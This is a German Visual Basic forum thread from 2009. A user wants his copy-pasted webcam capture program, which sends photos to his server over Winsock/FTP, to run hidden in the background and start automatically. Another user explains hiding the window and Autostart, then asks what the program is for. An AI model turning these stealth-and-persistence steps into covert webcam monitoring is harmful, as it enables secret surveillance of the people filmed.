Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
pr0xy
Newbie
Newbie

Anmeldedatum: 21.03.2009
Beiträge: 6

Webcam überwachung
Verfasst am: 13.12.2009, 14:30

Hallo ich habe ein Programm kreirt mit Copy & paste zeugs.

Technische daten:
- Funktioniert über Winsocks
- Wenn man ein foto schisst wird es per FTP auf mein server gespeichert
u.v.m.

Problem:
- Programm im hintergrund laufen lassen
- Automatisch im Autorun einfügen, z.b.: durch batch datei, wenn man z.b programm startet, dass es eine Batchdatei ausführt.
- Wenn ich das fenster transparenz mache, sehe ich (server) nichts


Bitte um hilfe screens kommen gleich...


_________________
 
muerzi
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.08.2009
Beiträge: 45
Wohnort: Leoben


Verfasst am: 14.12.2009, 09:23

Hallo,

zu deinen Problemen....

1: -Eigenschaft 'ShownInTaskbar' auf 'False'
-'Me.Hide'.
-Trayicon anzeigen, sonst kann man es nicht mehr steuern, anhalten ...

2: -Warum muss dein Prog eine Batchdatei ausführen?
-Du könntest eine Batchdatei unter Start/Programme/Autostart schieben und folgendes hineinschreiben:
[Pfad zu deinem Programm]\Progname (inkl .exe) - dann startet die Batch Datei dein Programm.

3: -Wenn man was transparent macht sieht man nie was, gleich wie am zunehmender Dunkelheit zu rechnen ist.

Erklär bitte den dritten punkt etwas genauer und poste Code WIE du es transparent machst!

mbg
 
pr0xy
Newbie
Newbie

Anmeldedatum: 21.03.2009
Beiträge: 6


Verfasst am: 14.12.2009, 18:23

Also wenn ich den Client völlig transparentz mache und cmdConect In den form_load verschiebe, sehe ich nichts als server, also sobald was transparentz ist sehe ich nichts als server.

Code:
Private Sub Form_Load()

    Dim lpszName As String * 100
    Dim lpszVer As String * 100
    Dim Caps As CAPDRIVERCAPS
   
    Calidad = 75
   
    capGetDriverDescriptionA 0, lpszName, 100, lpszVer, 100  '// Retrieves driver info
    lwndC = capCreateCaptureWindowA(lpszName, WS_VISIBLE Or WS_CHILD, 0, 0, 160, 120, Me.hWnd, 0)
   
    SetWindowText lwndC, lpszName
   
    capSetCallbackOnStatus lwndC, AddressOf MyStatusCallback
    capSetCallbackOnError lwndC, AddressOf MyErrorCallback
   
    If capDriverConnect(lwndC, 0) Then
        capDriverGetCaps lwndC, VarPtr(Caps), Len(Caps)
       
        capPreviewScale lwndC, True
           
        capPreviewRate lwndC, 66
       
        capPreview lwndC, True
           
        ResizeCaptureWindow lwndC
       
    End If
        SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
        Call Mache_Transparent(Me.hWnd, 50)
    If Winsock1.State <> sckClosed Then Exit Sub

            Bsent = True
            'llamada a la funcion que nos devolvera el frame.
            capSetCallbackOnFrame lwndC, AddressOf MyFrameCallback

            Winsock1.Close
            Winsock1.Connect TxtIp.Text, TxtPuerto.Text
    End If
   
   
       

End Sub


Module1 zur Transparentz:

Code:
Option Explicit

Declare Function GetWindowLong Lib "user32.dll" _
                 Alias "GetWindowLongA" ( _
                 ByVal hWnd As Long, _
                 ByVal nIndex As Long) As Long
                 
Declare Function SetWindowLong Lib "user32.dll" _
                 Alias "SetWindowLongA" ( _
                 ByVal hWnd As Long, _
                 ByVal nIndex As Long, _
                 ByVal dwNewLong As Long) As Long
                 
Declare Function SetLayeredWindowAttributes Lib "user32.dll" ( _
                 ByVal hWnd As Long, _
                 ByVal crKey As Long, _
                 ByVal bAlpha As Byte, _
                 ByVal dwFlags As Long) As Long

Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_LAYERED = &H80000

'Macht nur eine Farbe transparent
'Public Const LWA_COLORKEY = &H1

'Macht das ganze Fenster transparent
Public Const LWA_ALPHA = &H2

Public Sub Mache_Transparent(hWnd As Long, Rate As Byte)
    '### funktioniert nur unter Windows 2000 oder XP!!!
    '### macht das Fenster, dessen hWnd übergeben wurde, transparent
    '### Rate: 254 = normal 0 = ganz transparent (also unsichtbar)
    '### 190 ist z.B. ein guter Wert
   
    Dim WinInfo As Long
   
    WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)
   
    If Rate < 255 Then
        WinInfo = WinInfo Or WS_EX_LAYERED
        SetWindowLong hWnd, GWL_EXSTYLE, WinInfo
        SetLayeredWindowAttributes hWnd, 0, Rate, LWA_ALPHA
    Else
        'Wenn als Rate 255 angegeben wird,
        'so wird der Ausgangszustand wiederhergestellt
        WinInfo = WinInfo Xor WS_EX_LAYERED
        SetWindowLong hWnd, GWL_EXSTYLE, WinInfo
    End If
End Sub














Ehm könntest du bitte deine Schritte Ausführlich hinschreiben, also "ShowInTask" habe ich noch gefunden aber den rest nicht Smile.


Sonst noch fragen? helfe noch gern.

Grüsse ich
 
pr0xy
Newbie
Newbie

Anmeldedatum: 21.03.2009
Beiträge: 6


Verfasst am: 16.12.2009, 19:11

Bitte um antwort Sad
 
muerzi
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.08.2009
Beiträge: 45
Wohnort: Leoben


Verfasst am: 17.12.2009, 11:14

Hier wird das mit dem Tray Iconbeschrieben.

Me.Hide "versteckt" das Fenster. Musst den Client also nicht transparent machen

Zur Batchdatei: [RechteMaus]auf dem Desktop / Neu / Textdokument.
Das Präfix (Endung der datei) von txt auf bat ändern. So das statt "text.txt", "text.bat" steht.
Dann klickst du mit der Rechten Maus wieder drauf und dann "Bearbeiten"
Als Inhalt soll nur "C:\Programme\meinprog.exe" stehen. (Muss nat. mit deinem Pfad und Programmname ersetzt werden)
Und diese Datei dann in den Autostart verschieben (hoffe das ich dir das nicht erklären muss)

Noch weitere Fragen?
 
pr0xy
Newbie
Newbie

Anmeldedatum: 21.03.2009
Beiträge: 6


Verfasst am: 17.12.2009, 17:54

Miuerzi, ok danke mal für die antwort.

Meine Frage (deutlich):

Was muss ich hinschreiben bei "Form_load()", dass sich das batchdatei öffnet? z.b sowas?
open.file = App.Path"/autorun.bat"

bitte um hilfe
 
pr0xy
Newbie
Newbie

Anmeldedatum: 21.03.2009
Beiträge: 6


Verfasst am: 17.12.2009, 18:15

ok das mit dem Trayicon geschafft, doch ich bekomme kein Bild ich sehe nur weiss :-S siehe bild



_________________


 
muerzi
Tutorial Leser
Tutorial Leser

Anmeldedatum: 03.08.2009
Beiträge: 45
Wohnort: Leoben


Verfasst am: 21.12.2009, 08:50


So wie ich das verstanden habe, willst du dein Prog. ja "Autostarten" lassen oder?
Schiebt einfach eine Verknüpfung deines Programms in den Autostart.

Warum das Weiß ist müsstest du über den Debug herausfinden.

Welchen Sinn erüllt dein Programm überhaupt?

mfg
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: hintergrund laufen, laufen lassen, webcam, batch, programm

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge [suche] Tuturials winsock & daten senden 868 09.06.2011, 12:19
Keine neuen Beiträge [Video] *.dll & *.ocx Installer 2431 06.03.2008, 20:19
Keine neuen Beiträge ListView speichern & laden 1242 05.08.2008, 12:32
Keine neuen Beiträge Registry & Co Fragen 1101 03.05.2007, 09:57
Keine neuen Beiträge Listbox speichern & laden 2047 22.03.2007, 20:25
 



[ Time: 0.3201s ][ Queries: 111 (0.0360s) ][ GZIP on - Debug on ]